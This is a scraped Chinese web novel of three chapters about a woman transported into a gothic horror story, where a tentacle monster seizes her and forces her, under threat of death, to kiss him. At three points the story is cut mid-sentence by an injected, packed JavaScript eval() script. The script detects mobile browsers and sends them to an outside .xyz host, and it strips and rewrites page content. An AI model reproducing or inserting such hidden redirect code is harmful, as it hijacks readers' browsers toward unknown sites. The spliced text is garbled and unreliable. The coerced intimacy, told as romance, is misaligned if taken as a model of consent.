《和触手的过家家游戏》 1. chapter.1 尤琳的脑袋猛地磕在桌角,伤口传来细密的疼痛让她回过神。 空气似乎变得格外窒闷,隐约有股阴冷的湿气蔓延在四周,她先是打了个哆嗦,表情呆滞两秒后,缓慢转头打量了一圈室内。 不远处的书桌上摆着一盏复古的台灯,散发着微弱而又温暖的光源,照亮了这个精致小巧的卧房。这里装饰得像是十九世纪的欧洲,墙上挂着一幅穿着纯白公主裙少女的油画像,头上戴着顶装饰着鲜花的宽檐帽,拢着一头灿烂的金发,面对镜头微微勾唇,姿态优雅端庄。 巧的是油画像下方,尤琳的正对面摆了一面落地镜,这让她可以清楚看到自己的样貌——过于白皙的肌肤,因为茫然而略显呆滞的翠绿色瞳孔,以及那一头散乱披在肩上的金发。 尤琳摸上自己的脸庞,镜中人也跟着抬手,然后她重重按了一下刚刚被桌角磕红的地方,下一秒疼得倒抽一口冷气。 不是做梦,她是真的穿越了。不知道这里是个什么背景,又是什么国家,反正只要不是在国内,上学时期英语勉强及格的她都只能当个哑巴。 角落里摆着一个落地钟,正在发出细微的滴答响声,尤琳又在地上坐了半分钟才起身,重新观察了一下环境。 原主不管是头发还是衣裳都有些凌乱,像是刚经历过一场生死存亡的追逃,这点在她看到堵在门口的沙发时得到了证实。 外面有东西,原主在躲它。 意识到这点后,尤琳的心也跟着提了起来,外面传来狂风的呜咽声,将窗扇拍得砰砰作响。她立马走到窗前查看,窗子打开的一瞬间雨水浇了她一脸,整个人陡然清醒不少。 是个极暗的黑夜,风雨交加,窗子离地大约有四五楼的高度,想从这里逃出去几乎是不可能的。 尤琳当下就瘫了。 雨夜,古堡,杀人魔。 尤琳没少看过西方恐怖电影,诸如此类的元素叠加在一起,不难让她联想到自己到底穿越到了一个怎么样的世界来。 当即垮下一张脸,已经幻视到一会儿杀人魔扛着斧子破门而入,而她跪在地上一把鼻涕一把泪地哀求对方放过自己。 杀人魔:“叽里咕噜说啥呢,听不懂。” 然后一斧子送她上西天。 那她简直比窦娥还冤! 不过借着冰冷的雨水,尤琳的思绪也在绝望过后稍稍有了清醒的迹象,转头打量着床头的桌柜和地板。 原主像是在翻找什么东西,抽屉被拉开了两层,里面的东西散乱地堆放在地上。 这种时候总不至于是找支笔写遗言吧。 尤琳意识到了什么,连忙蹲下身在剩下两层的抽屉里翻找起来,最终她只找到了一本日记,神奇的是她明明没见过这种文字,却能轻而易举地认出上面写的内容。 鬼使神差地,尤琳翻开了日记。 【1891年,10月11日 最近家里发生了一件奇怪的事,每天夜里外面总有滴答滴答的声音,像是哪里在漏水,可我每次开门查看,地面总是干燥的,连一滴水都没有。 我跟父亲说了这件事,父亲说我应该是最近练琴太累产生了幻觉。 这太奇怪了,有谁的幻觉会一连持续好几天呢。】 【1891年,10月15日 父亲……父亲他也变得奇怪了起来,昨天夜里我终于鼓起勇气出门查看,发现父亲一个人走到了湖边。 我不知道他在干什么,他在湖边站了很久,正当我想上前喊他时,母亲叫住了我。 母亲说父亲这是在梦游,让我不要打扰他。 可是父亲以前从来没有梦游过啊? 而且,为什么母亲跟我说话的时候总是眼角抽搐,就好像皮肉下藏了什么似得,让我感觉心里毛毛的……】 尤琳:“……”原主你让我也毛毛的了。 她感觉自己在看一本恐怖小说,尤其是在这样的环境下,冰冷的空气几乎顺着毛孔钻进了她的血肉里,以至于骨血都是冷的。 苍白冰冷的手捏住纸页,控制不住地又翻了过去,继续往下。 【1891年,10月28日 太奇怪了,这个家里的一切都变得奇怪了起来。我总感觉暗处有什么东西在窥视着我,让我感到头皮发麻,但更令我害怕的,是父亲和母亲。 他们以前对我总是笑得十分温和,但不知道什么时候起忽然就不笑了,不仅如此,母亲夜里也会跟着父亲一起出门,两人安安静静站在湖边,就好像两个……好像两个没有生命的木偶人! 天呐,我真的要疯了,这一切到底是怎么回事!】 【1891年,11月3日 我看见了,我看见了湖里的东西!!红色的,像藤蔓一样……不,不对,那些东西好像有生命,我看到它们钻进了父亲和母亲的身体里,他们的身体开始像触电一样抽搐…… 不,我得去救救他们,不管怎么说,他们都是我的家人!】 这段日记到了这就戛然而止,没有关于原主冲出去后见到了什么的内容描写。 尤琳心中生出了一股不安。她从窗户望出去,正好能看见半遮半掩在树林后的黑色湖泊,今夜没有月光,只能隐约窥见一点形状,但不知怎么的,一眼望过去让人感到压抑。 与此同时,尤琳忽然心跳重了几分,脊背窜上了一股冰凉的寒意——她感到了一股窥视的视线,来自湖的方向。 于是她猛地起身将窗帘拉上,彻底隔绝了湖的视线,但就在窗帘拉上的那一刻,原本停留在脊背的寒意顺着脊椎骨往上蹿去,停留在了后脖颈。 刹那间,无数的,密密麻麻的,来自阴暗处的窥视感让她感觉自己如被无数根冰针扎到。 她忘记了关窗,窗外的风吹动窗帘,露出的缝隙像是一只眯起的巨大眼睛,摊在床边的日记本被风吹动,哗啦啦纸页作响间,停留在了最后字迹慌乱的一页。 尤琳忍不住低头看去。 【1891年,11月9日 原来一切都是假的,我竟然被那个怪物蒙骗了那么久! 我要它死,我一定要它死!说不定我的父母都是它害死的! 明天克里奇约了我在花田见面,我会让他给我带一把枪回来,这个家伙对我有别的心思,我有信心他不会拒绝我的任何要求。 等着吧怪物,我会用你教我的枪术打得你脑袋开花!】 尤琳的心整颗凉了下来。 原主将房间翻得一团乱,想必就是在找这把枪,但是她刚刚也找了一遍,到处都没有,那么唯一的可能性就是——这把枪不见了。 或者换句话说,原主暴露了,这把枪或许落在了怪物的手里。 那到底是一个什么样的怪物? 尤琳不得而知。 她心脏跳得很快,跳得她胸口有些难受,冰冷的水汽无孔不入,像是要钻进她的脑子里,连带着那些暗处的,诡谲的视线。 也许那怪物正在暗处盯着她。 想到这,尤琳忍不住张开口,感觉呼吸困难了几分。比起恐怖片带来的视觉刺激,这种身临其境的感觉几乎放大了她所有的感官,以至于她能清晰听见自己的心跳,以及雨水落在窗户上的滴答声。 “滴答、滴答……” 等等,不是雨水! 尤琳猛地回神,发觉滴答声是从门外传来的! 就像日记里写的那样,门外传来了滴答的声音,除此之外什么都没有,没有脚步声,也没有拖行声,只有不停落下的滴答声,仿佛冰冷的雨水滴落在了她的神经上,一阵头皮发麻。 那股被窥视的感觉变得更加强烈了,蒙在玻璃灯罩中的灯光闪烁了两下,似乎马上就要熄灭。 在这一刻人类对于光源的依赖简直就像是求生的欲望,尤琳猛地抓过台灯缩在角落,想让自己离光更近些,似乎这样就能隔绝那些阴冷的视线。 可惜,无用。 她甚至听到了低频的,密密麻麻的幻听,像是有无数人在自己耳边低声重复念叨着自己听不懂的话,听得她一阵头晕目眩。 为了保持清醒,她抓过掉落在地上的钢笔朝自己的手心刺了一下。 疼痛的同时,那些刺耳嘈杂的声音如潮水般褪去。 屋子里都是些少女的闺中装饰,大多好看优雅但无用,唯一尖锐的东西大概就是这支钢笔了。 尤琳将钢笔紧紧抓在手里,死死盯着门的方向。 显然,人类就算加上一支钢笔也绝对打不过未知的怪物,除非那怪物一进门就将自己绊了个四脚朝天,然后从窗户摔出去。 门在这个时候动了一下,砰的一声,声音很大,仅一下就将用来抵挡的沙发推了几米远。 尤琳:“……” 她可能会成为穿越史上死得最快的一个。 外面的东西又撞了一下门,这回整个门板直接碎裂,像张单薄而又脆弱的纸。 屋门大开,外面的走廊更是漆黑一片,看不清刚刚是什么东西撞的门,尤琳只知道那怪物力量极大,似乎是水生的,因为很快她听到了湿漉漉的,黏腻的声音,像是有什么东西顺着地面爬了过来,每近一寸,她的头皮都要炸一下。 她感觉自己还没被怪物吞掉,就要先被它吓死了。 所有光源都聚集在她这里,阴暗的角落里,爬出来了一个……不,一条暗红色的东西,起初尤琳以为是蛇,但很快她就发现那东西抬头时,压根没有脑袋,并且它的身体没有完全露出来。 她倒抽了一口冷气,不敢想象看起来这么个小玩意会有那么大破坏力。 那东西似乎在观察她,打量她,同时也在慢慢靠近她。 尤琳小心地后退,不太确定如果这个时候自己反击会不会将它彻底惹恼。 她不敢轻易尝试,那东西显然对她怀有好奇,像条懵懂无知的小蛇又朝尤琳靠近了一些。 它彻底暴露在了光下。 尤琳清楚地看到,那是一条暗红色的触手,浑身遍布湿滑的液体,在光下闪着一点光泽,它大概有两指的粗度,长度却是一路绵延到了门外未知的黑暗中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811711|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这只是怪物的一条分身,怪物还没完全出现。 它爬到了尤琳脚下,尤琳呼吸一滞,眼见着它得寸进尺想要顺着她的小腿攀爬,她直接恶狠狠地抬脚,将其踩在了脚下。 再爬就不礼貌了! 尤琳穿的是一双细跟皮鞋,一脚下去像是踩到了一摊会动的软肉,眼看它在脚下挣扎蠕动的样子,当下鸡皮疙瘩掉了一地。就在这时,黑暗的门外又簌簌探进来了几条触手,不由分说勒住了她的四肢,将她整个人悬空吊了起来。 手中的台灯和钢笔掉了一地,光源也随之彻底熄灭,室内彻底陷入黑暗,极度的恐惧将尤琳牢牢包裹在内,企图一点点抽走她生存的空气。 她明显感觉到四周的温度变得更低了些,像是进入了隆冬,冷得她四肢僵硬,仿佛不受控制,但很快她就意识到,这是四肢被那些暗红色触手用力勒的充血,快要失去知觉。 老天奶啊,对面开挂怎么打!? 那些触手似乎有意就这样勒断她的四肢,尤琳嘴里发出了痛苦的闷哼声,那些密密麻麻的低频声又在耳畔响了起来,像是一种戏谑的嘲讽。 尤琳气急败坏,骂道:“闭嘴!” 低频声愣了一下,很快更加贴近了她的耳畔,仿佛要强硬地钻进她的大脑里。 手掌被刺破后的鲜血淌到了地上,正好落在被踩的那根触手上,它复又抬头,像是发现了什么有趣的东西,脑袋左摇右晃着来到了尤琳的面前。 缠绕着四肢的触手力道又大了些,尤琳忍不住张口痛呼一声,面前的触手晃动的频率变大了,饶有兴致地停在她的面前,触了触她眼角因为生理恐惧而渗出的液体。 尤琳恶心得起了一阵鸡皮疙瘩。 那条触手似乎怔了一下,紧接着又来到了她的唇前。 尤琳痛出了一头冷汗,半眯着眼睛看去,有一瞬间觉得这玩意儿像是要钻进她嘴巴里。 果然,那触手往她的唇前探头,似乎就要钻进去,就在这时,尤琳猛地张口,用尽平生最大的力气猛地朝那条触手咬了上去! 然而,即便她用了全力,这玩意儿都像是最坚韧的绳子,甚至没破一点口。 尤琳心如死灰地想,也许21世纪没有爆出穿越者,可能是因为穿越者都死在了不属于他们的世界。 可忽然间,紧紧缠绕在她四肢的触手松开了,她“咚”地一声掉在地上,只在白皙的肌肤上留下了四圈深红的印记。 什么情况?咬到它开关了? 尤琳趴在地上竭力抬头望去,只见门外幽幽闪着一团暗色的红光,像是无数条纠缠在一起的红线,门内的触手全都收了回去,和那团诡异的东西融为一体。 它不停滚动翻涌着,像是一团红色的浪潮,直到越滚越高,好像有什么东西要从里面溢出来。 尤琳睁大了眼睛,眼看着那团红色的触手中慢慢凝出了一个高大的人形。 屋内几乎没有光,只有那团红色触手身上自带的暗色光源,隐隐绰绰勾勒出一个男人的形体,步伐从容而优雅,慢慢朝她踱步而来。 尤琳感觉他蹲在了自己面前。 对方身上裹挟着冰冷潮湿的气息,未知,危险,像是一团死气,尤琳甚至能感觉到他探手时忽来阴冷的风。 她打了个哆嗦,感觉一双冰凉微湿的手掐住了自己的下颚,迫使自己张唇。 不敢动,不敢动,再动可能真的要死了。 怎么办,要求饶吗?这个怪物装了这么久的人,应该能听懂人话吧。 问题是语言不通啊!早知如此,她就该多学点英文! abandon……abandon……abandon…… 尤琳感觉自己可能是快死了,以至于思绪总是飘忽涣散,直到有什么东西伸进了她的口中,搅弄了一下她的舌头。 尤琳:“?” 不是触手,倒像是那个人的手,不过一样对她的口腔充满了探索欲,两指在两壁的软肉上按了一圈,又一一抚过她的每颗牙。 尤琳浑身紧绷:“……” 士可杀不可辱,她正思考着要不要把它的手咬断,忽然感觉那只手从口中退了出去,空落落的。 遗憾。 尤琳扼腕长叹。 这时,黑暗中传来什么诡异的撕裂声,紧接着响起了黏腻的奇怪声响,像是一团蛇交缠在一起蠕动,听得尤琳一阵头皮发麻,差点就要跪下。 ……话又说回来了,好死不如赖活。 一堆红色的触手伸到了她脑袋边上,那些触手上分布着一些密密麻麻的小孔,能发出幽幽光芒,一团聚集在一起的时候,堪比一盏小夜灯,照亮了尤琳的脸。 对方便在这光中细细打量着她。 下一秒,尤琳听到他开口说话了。 声音低沉阴冷,像是深海之地传来的古老呢喃,但意外的动听,然而令尤琳感到奇怪的是,她明明从未听过这种语言,那些话却在她脑海中自动翻译成了句子。 “你不是赛西莉亚,你是谁?” 2. chapter.2 赛西莉亚……这个名字她在哪见到过。 尤琳表情一怔,陷入了回忆的迷茫状态。 她好像知道自己穿越到了哪里,不是什么恐怖杀人魔的电影,而是一本西幻恐怖小说中——这正是她穿越前正在看的书。 尤琳当时睡在床上,不知道从哪点开了这本恐怖小说,她向来喜欢恐怖悬疑题材的小说或者电影电视剧,但属于是又菜又爱玩的那挂。 小说的作者是个外国人,西方的恐怖文化大多是一些隐藏在黑暗中的丑陋怪物,这本也不例外,作者以怪物为主角,编撰出了一个匪夷所思的故事。 主角名叫利维斯——西欧传说中象征着邪恶的海怪,等同于恶魔。 然而恶魔化作人形,游走于人世间,它对人类世界十分好奇,并试图融入其中。 小说主要写了利维斯上岸以来都做了什么事,最初,他是想寻找一位家人,就像人类组建家庭那样。 文中只用了极短的篇幅描写了利维斯寻找的第一个家人,他在雨夜捡到了一个小女孩,给她取名“赛西莉亚”。 后面的内容就和尤琳看到的日记一样,利维斯利用触手分身伪装成了赛西莉亚的家人,将她养大,直到赛西莉亚发现这一切,以为是利维斯害死了她的家人。 赛西莉亚当然想逃,但在那个雨夜,利维斯剥离了人类的皮囊,化成可怖的原形,将发现真相并且想要逃跑的赛西莉亚吞进了腹中。 ——“无数暗红色的触手缠绕着她的身体,将她撕扯,分离成一块块方便吞食的碎肉,滚烫而鲜红的血液浇落在那些触手上,让它们变得更加兴奋,壮大,身体的颜色也趋于鲜艳,像是妇人唇上浓艳的口脂。” ——“而在它们中间,连接着触手尖端的暗红色肉坨缓缓裂开了一道口子,像是一张充满食欲的嘴,止不住流下具有腐蚀性的口涎。触手卷住碎肉缓缓送进它的口中,甚至用不着那些尖锐的利齿,只听到咕咚几声,便将赛西莉亚全咽进了肚子里。” 赛西莉亚……不,现在是尤琳了。 这个名字让她回忆起了小说中所描写的细节,如今那些力量极强的触手正悬停在她的脑袋周围,蠢蠢欲动地发出一连串的低鸣,好像下一秒就会像书中描写的那样,将她的身体也硬生生地扯开,然后送进怪物的口中。 怪物……对,怪物。 尤琳僵着脖子微微抬头,男人半蹲在她面前,红色暗淡的光线只勾勒出他面颊的轮廓,十分削瘦,但下颌线条流畅,连接着颈部的弧线,埋没进一件分辨不出颜色的衬衫中。 衬衫穿戴整齐,一条像是丝绸的,柔软的领巾被他打理出几道横向的褶子套在衬衫的领子前,下面坠着一颗镶嵌着金边的宝石,如同贵族家的公子矜贵优雅,与身后那些狰狞可怖的,摇头晃脑的暗红色触手们格格不入。 他身上散发着一股阴冷的潮汽,无孔不入地钻进尤琳的毛孔中,让她从里凉到了外。 利维斯似乎是皱了一下眉,对她沉默已久的举动表示不满。 尤琳涣散的思绪骤然回笼,连忙张了张口,强迫自己从干涩的喉咙中挤出声音来回应。 她的嗓音又哑又轻,磕磕巴巴的,像是小孩胡乱拉奏小提琴发出的难听弦音:“尤、尤琳。” 不知道利维斯是怎么分辨出她不是赛西莉亚的,反正赛西莉亚横竖都是个死,不如让他知道自己已经不是原来的人了,说不定这怪物还能图个新鲜感,暂时放过她。 ——他养赛西莉亚的时候,不就是图个新鲜么。 利维斯听到声音,歪了歪头,复述了一遍她的话:“尤、琳。” 他好像真的开始好奇了,不管因为什么,也不管他在想什么,在这短暂存活的时间里,她都必须给自己争取一线生机。 尤琳强迫自己保持冷静下来,心脏狂跳得厉害,她口干舌燥地舔了舔唇,发出颤抖的声音:“我不会伤害你的,也不会逃跑。” 原著里利维斯养了赛西莉亚二十年,要是真想吃她,估计早就吃了,按照前期这怪物的思维来说,他只是想尝试一下作为人类是怎么生活的。 没想到赛西莉亚发现了真相,并且要伤害他逃走。 尤琳不太确定哪个才是利维斯动怒的触发点,但她现在已经见过了他的真面目,即“知道了真相”,那么她所能尝试的求生选项只剩下了另外两个。 嗯……她刚刚对着他的触手又踩又咬的,应该不能算伤害吧。 利维斯沉默着。 他稍稍抬头,阴冷黏腻的目光先是落在她的眼睛上,黑色的眼睫因为恐惧而轻微颤抖,像是一只振翅的蝶,继而,目光往下,盯住了那张正在吞吐呼吸而一开一合的唇。 尤琳见他没有任何反应,也不知道他听懂没,难不成这语言交流还是单向的,只有她能听懂这里面角色说的话吗? 利维斯沉默了许久,久到尤琳以为他正在思考着该从哪里剖开她,但其实,利维斯只是感到了些许困惑。 利维斯看到的是一个黑头发黑眼睛的女生,五官柔软,表情因为恐惧而显得僵硬,她被套在赛西莉亚的壳子里,然后……亲了他一口。 那是一种很奇妙的,他从未体验过的触感,酥酥麻麻,像是过电,这让他无比好奇她的口腔里到底藏着什么,探索一番后,只觉得里面柔软,潮热,还有两排脆弱的牙齿,就和大多数人类一样,不像是有会放电的东西。 利维斯开始有些上瘾,想再尝试一次那种感觉——果然,人类比深海里那些没有意识的蠢鱼有趣多了,他上岸是正确的选择。 尤琳等了很久,正要开口说话,一条触手径直伸到了她面前。 利维斯五官埋没在晦暗的红光中,对她低声说:“握住它。” 尤琳:“?” 她两眼茫然,不明白利维斯的意思。 这是不吃她了,要和她握手言和的意思吗? 尤琳犹豫两秒,瞅了眼边上随时都会撕碎她的触手们,不敢忤逆利维斯的要求,她缓缓伸出僵冷到毫无知觉的手,握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811712|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了面前的触手。 刹那间,触手仿佛被推入烤箱的面包,开始在她手中膨胀壮大,兴奋而疯狂地扭动着身子,看得人直起鸡皮疙瘩,与此同时,那股令人晕眩的低鸣声又一次出现,密集得像是夏日里满树的蝉鸣。 尤琳有些受不了这些声音,这令她感到无比烦躁。 忽然,像是利维斯低喝了一声,他口中吐出更加奇怪的语言……不,比起语言,更像是两个组合在一起的音节,让尤琳不禁想到了“恶魔的低语”。 好在那些低鸣声被他呵斥后全都乖顺地消散了,可她手中的触手依旧兴奋地扭动着。 尤琳眼中恢复了一点清明,稳住呼吸再次看着眼前的人,不知道接下来该做什么。 握住了,然后呢?拉拉手,好朋友? 利维斯似是深深吸了口气,眸光幽幽,落在尤琳的唇上。 “然后,亲我。” 他淡淡地又下达了另一个命令。 尤琳一怔,方才脑子里关于和平的白鸽全都消散不见,只剩下一群黄色的小人屁颠屁颠地挤了进来,在她脑子里呐喊,狂呼,吵成了一锅粥。 聚拢在她周围的触手变得更加躁动起来,发出黏腻的摩擦声,它们身上的红光也达到了从所未有的明亮,像是一簇簇的火苗照在她脸上,使得脸颊两侧像染上了鲜艳的红色油彩。 利维斯的脸也在这盛大的光芒中隐约露出了一点端倪,是张英俊儒雅的面容,蓝色的眼珠像是黑夜里广袤而幽深的海洋,若有船只行驶在这样的海面上,极其容易迷失航向。 尤琳却在迷失的航向中挣扎,她想说“不”,只是唇刚刚张开,立刻感到利维斯身上暴涨而出的阴冷气息,几乎覆盖了整个室内,将这里硬生生变成一个海底生物的栖息洞穴。 阴冷,潮湿……还有恐惧,与死亡…… 原作里关于赛西莉亚被吞后的描写是: ——“利维斯吃得慢条斯理,像是在品尝一道最美味的佳肴……” 尤琳头皮一紧,将那个即将脱口而出的“不”字又吞回了喉咙里。 她惜命得紧,余额宝里存了几年的钱还没花完呢,怎么能死在这种地方! 不就是一张嘴吗!特么的拼了! 她猛地闭上眼,另一只手一把抓过利维斯的衬衣,将对方拉近的同时,自己整个人往男人身上凑了过去,凭借着感觉捕捉到唇的位置,重重地与之贴合。 利维斯身子一僵。 有一瞬间,房间里密布的触手全都停止了动作,像是一部剧被按下了暂停键,但很快,它们开始了更加疯狂的动作,彼此纠缠成一团团密不可分的红潮,发出低频但刺耳的尖啸。 只是这一次,尤琳仿佛听到那些密集的声音放大数倍后,构成了一句不断念叨的诡异低语,仿佛催命的呢喃,吓得她整个人几乎是挂在了利维斯的身上。 “尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳尤琳……” 3. chapter.3 尤琳紧紧闭着眼睛,浑浑噩噩贴着利维斯的唇,感觉自己像是亲在了一块冰凉的果冻上,触感柔软滑腻,让人想要进一步品尝一口其中滋味,却又惧怕于对方身上的可怖气息,不敢妄动。 这死怪物真是变态,上岸这些年到底都学了些什么……已经按照他的吩咐亲了,应该可以了吧…… 尤琳小心翼翼地后退一点,想要离这个危险的“果冻”远一些,下一秒,一只手猛地按住她的头颅,将她整个人往里扣住,力气之大,不由反抗。 那些骚动的触手们变得更加兴奋,简直像在周围开了个盛大的篝火晚会,而晚会的中心则是尤琳和利维斯彼此贴合的身体。 利维斯粗暴地吻了上来,像刚才给检查尤琳口腔那样,只不过从手换成了别的,在潮热的室内检查得仔仔细细,又无穷无尽地搜刮掠夺一番,像是在跟她争夺呼吸的权利。 尤琳隐约又听到了水声,但是从嘀嗒的动静变成了稀里哗啦,在纠缠不清的挣扎与禁锢中显得格外暧昧。 尤琳从前只见过猪跑,却从来没吃过猪肉,一直不懂接吻这件事真的会让人喘不过来吗? 直到现在,她真的觉得自己快喘不过气来了,耳边是低频但刺耳的尖啸,身体被强制地禁锢不容她逃离,偏偏还有人放火打劫,一点一点夺走她赖以生存的空气。 脑子开始发晕,涣散,神思飘游天外。 她要死了吗?她是已经死了吗?不然怎么会感觉灵魂正在一点点从身体里抽离…… 昏迷前,尤琳看到的是一双蓝光大盛的眼睛,如同风暴之夜汹涌而起的万丈海浪,铺天盖地毁灭着一切,像是要将她彻底摧毁。 利维斯完全沉溺其中,在两人贴合的刹那浑身如被电击,如同海面降下雷暴,而它沐浴在雷暴中央接受焕然的洗礼。 她手上的血是一味神奇的引子,同时勾动着他的分散开的无数道意识,最后聚拢只剩下一个念头——将她也融进自己的意识里。 可是还没等他开始吞噬,她就像是失去了生命一样整个瘫软了下来。 他只好暂时将她分开,托举着她的身体,并让一只触手轻柔地上前,舔去眼角的那滴咸湿的液体。 像是海水,但比海水更加美味。 人类的身体真是很奇妙,不同部位能够分泌出不同的液体,譬如她的眼角,譬如她的口腔…… 利维斯还没品尝尽兴,只眯起眼睛细细打量着眼前的人,最终还是将她从地上抱了起来。 —— 尤琳做了一个梦,梦到自己沉溺在深海之中,听不到任何声音,她不断往更深处下沉,海面上的光源便离她越来越远,而在她看不见的地方——她的身下,那幽深而静谧的海洋深处蛰伏着无数闪动着暗红色微光的触手,彼此连结,构成了一只巨大的手,像是要托住她不断下沉的身体,又像是迎接她的到来。 触手在海水中不断游动,直到尤琳落在了那双“大手”中…… 诡谲的,发毛的触感从脊椎蔓延开来,尤琳瞬间睁开眼睛,下一瞬被窗外明亮的光线刺得又迅速闭上,缓了好一会儿才慢慢睁开。 雨夜已经过去,外面一片明亮,灿烂的光在玻璃窗上投出炫目的光斑,仿佛昨晚的一切只是一场幻觉,屋内干燥温暖,没有一丝阴冷。 她还活着?她是真的穿越了吗? 尤琳表情迷茫地坐起身,看见两臂和小腿上的红圈,确诊了昨晚不是做梦。 她还活着,虽然不知道还能活到什么时候。 就在这时,身旁蓦地传来一道不合时宜的浑厚男声。 “早上好,尤琳。” 尤琳吓了一跳,僵硬地扭过脖子,正对上两个陌生的西方面孔。 一男一女正站在她的床头,穿着端庄华丽,对应了古堡的地位,他们皮肤白的毫无血色,简直像用白色的颜料涂抹过一遍,唇角向上扬起,勾出一个诡异的弧度。他们明明在笑,但笑得让人瘆得慌,像是两个日记中提到过的木偶人。 尤琳:“……”这就是赛西莉亚说的“父母温和的笑”? 哪温和了!哪温和了到底!!不会笑就不要笑!! 赛西莉亚也是个神人,跟两个伪人生活了二十年竟然才看出端倪。 尤琳简直想为她竖起大拇指。 不过转念一想,从小她就是看着这两张脸长大的,自然也不会觉得太过奇怪。 尤琳的注意力都在两人那僵硬的皮囊上,没注意到对方称呼的改变,她磕巴了一下,揪住被子护在身前,警惕往后挪了挪,顺着回应:“怎、怎么了吗?” 涂抹着鲜艳口脂的妇人推了推旁边的男人:“蒂奇,你看把孩子吓的,都变成了个小结巴。” 蒂奇——赛西莉亚的父亲。 他唇角咧开的弧度更大了些,像是想挤出一个和蔼可亲的笑容,落在尤琳却更加阴森可怖了:“唔,这孩子今天怪怪的……快起床换件衣服,该吃早饭了。” 他转身,拉过旁边妇人的手臂,“走吧艾玛达。” 两人离开了房间,顺带着将房门关上了。 尤琳发现那扇门已经恢复如常。 明明昨晚利维斯的触手暴力将其撞开时,门上裂出了很大的一个洞,但现在破洞不见了,就连室内那些被翻得乱七八糟的东西也全都归回了原位,碎裂的台灯也换了一盏新的,一丝不苟放在原本的位置。 除了墙上赛西莉亚的画不见了,整个房间就像是日常的一天,卧室的主人在柔软的床上醒来,被父母喊着下楼吃早餐…… 尤琳打了个寒颤,脑海中忽然闪过一个奇异的念头,但她不太敢确定。 也不知道那两个怪人看着睡梦中的她看了多久,就连……她低头,原本脏污的裙子换成了一条干净的丝绸睡裙,不管是利维斯换的还是那两个伪人,尤琳都觉得恶心。 虽然不知道昨晚利维斯为什么放过了她,但危机看上去并没有解除。 尤琳深吸一口气,不断告诉自己保持冷静,一直待在房间里也不是个事,她决定顺着怪物的意思行动,看看他们接下来想做什么。 她掀开被子,走到赛西莉娅的衣橱前。 赛西莉娅喜欢华丽,衣橱里的衣服大多复杂繁琐,看上去显得十分隆重,只有几件睡裙看上去较为朴素。 最后尤琳在衣柜前呆站了半天,将柜门重新关上了。 算了,身上这件睡裙也挺好的,穿那些蓬蓬裙,万一真出了什么事跑都跑不动。 睡裙洁白柔软,穿着十分宽松舒适,长袖袖口收束成花一样的形状,放在现代就是能随意穿出去的正常衣裙。 尤琳对着镜子仔细照了一圈,发现唇上多了一处伤口,像是被什么东西啃了一口。 尤琳对着面前的镜子打了一套愤慨的军体拳:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811713|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 利维斯就是个变态怪物! 心里才刚骂了一句,窗外的风又吹动窗帘,发出微弱的声音,与此同时尤琳浑身打了个激灵,顺着窗子往外看去。 湖水在日光下潋滟着柔和的光泽,全然没有昨夜的诡谲和窥视感,但只有尤琳知道,那地方大抵是利维斯的老巢。 也不知道是不是因为看久了,那股令人发毛的窥视感再次蹿上了脊背,尤琳搓了搓两臂的鸡皮疙瘩,赶紧上前,将窗帘一把拉上。 这地方简直邪门! 她用一条丝巾将金发在脑后随意一绑,离开了房间。 原著描写里,利维斯带着赛西莉娅生活在一座较为偏僻的庄园古堡内,古堡中的装修大多偏向文艺复兴的风格,简约中透露着奢华。 尤琳的房门外是一条长廊,大理石的地面上铺着暗红色绣金纹的地毯,庄严贵重,她置身其中,恍惚自己真成了一名十九世纪的贵族少女。 不过想必没有哪位贵族家的小姐会对着摆在楼梯口装饰用的镀金物品流口水。 尤琳敲了敲那个看起来金闪闪的碗,遗憾地叹了口气。 就算活下来了,这些东西也带不回去,不能卖钱。 这时,一名女仆打扮的人悄无声息出现在她身后。 “小姐,请跟我来。”她朝一个方向做出示意的动作。 尤琳一见那张皮笑肉不笑的脸就明白——得,又是个皮套子。 不知道利维斯在这古堡中安排了多少这样的皮套,尤琳合理怀疑这些都是利维斯的触手藏在里面操纵的动作。 女仆领着尤琳穿过几道长廊,来到了餐厅。 长桌上已经摆满了早餐,数个座位上只落座了两人,分别是赛西莉娅的父母——蒂奇和艾玛达。 看见尤琳落座,正在进食的蒂奇眉头顿时皱了起来。他刚下手中刀叉,无神的眼睛像一根钉子似的落在尤琳的身上。 “你这孩子怎么回事?怎么穿着睡裙就下来了?” 艾玛达优雅地用餐巾擦了擦自己的烈焰红唇,冲尤琳微微一笑,柔声道:“没关系,反正都是在自己家里,尤琳想穿什么都行。” 